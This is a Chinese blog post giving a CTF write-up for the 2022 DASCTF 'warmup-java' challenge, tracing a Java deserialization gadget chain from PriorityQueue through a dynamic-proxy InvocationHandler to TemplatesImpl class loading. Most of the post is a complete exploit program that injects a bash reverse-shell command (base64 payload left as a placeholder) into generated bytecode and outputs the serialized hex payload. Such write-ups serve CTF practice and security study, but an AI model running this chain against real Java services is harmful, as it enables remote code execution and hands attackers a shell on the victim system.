[2022DASCTF Apr X FATE 防疫挑战赛] warmup-java

没错,还是java。

我就跟java杠上了。

分析

先看依赖:

没有啥特别的。

审一下源码:

IndexController.java:

warmup路由下传参data,下面把十六进制转为字节直接反序列化了。

看下动态代理MyInvocationHandler.java:

看一下Utils的hexStringToBytes方法:

 

下面分析来自Java专题 - 简书 (jianshu.com)

MyInvocationHandler的invoke方法在执行type的方法时只传入了一个参数,那么毫无疑问是要传入对象本身,也就是要找一个利用方法是无参的,还能帮助我们执行恶意代码或者恶意的命令的。
TemplatesImpl.getTransletInstance()
刚好符合上面的描述。
那么下面就是如何去执行到invoke()了。

下面看反序列化,如果只是进行反序列化,即便我们做了动态代理也无法执行代理类的方法(因为在反序列化的过程中没有调用任何方法),为解决这个问题,我们可以想到CC2的PriorityQueue,让其中的comparator方法做代理,会在反序列化的时候被调用,然后就会执行invoke方法,成功执行恶意代码。
不了解CC2,请自行查询一下吧。
其实简单来讲,我们这里就是使用动态代理中的invok()方法代替了CC2中的
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()

前面半条链,因为项目中并没有引入commons-collections4的jar包,也就没有TransformingComparator和InvokerTransformer类。

所以整条链可以是【Web】2022DASCTF Apr X FATE 防疫挑战赛 题解(全)-CSDN博客

PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

 

EXP

package com.eddiemurphy;

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Exp {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static TemplatesImpl generateEvilTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Devil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilDevil" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        return templates;
    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }

    public static String bytesTohexString(String s) throws IOException {
        File file = new File(s);
        FileInputStream fis = new FileInputStream(file);
        byte[] bytes = new byte[(int) file.length()];
        fis.read(bytes);

        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = generateEvilTemplates();

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        Class c = myInvocationHandler.getClass();
        Field type = c.getDeclaredField("type");
        type.setAccessible(true);
        type.set(myInvocationHandler,Templates.class);

        //代理接口为Comparator,便于后续调用compare方法
        Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);

        //初始化属性comparator为proxy类
        PriorityQueue priorityQueue = new PriorityQueue(2);


        priorityQueue.add(1);
        priorityQueue.add(2);
        Object[] queue = {templates,templates};

        setFieldValue(priorityQueue,"comparator",proxy);
        setFieldValue(priorityQueue,"queue",queue);

        serialize(priorityQueue);
        System.out.println(bytesTohexString("ser.bin"));
    }
}

posted @ 2024-04-29 18:54  Eddie_Murphy  阅读(32)  评论(1编辑  收藏  举报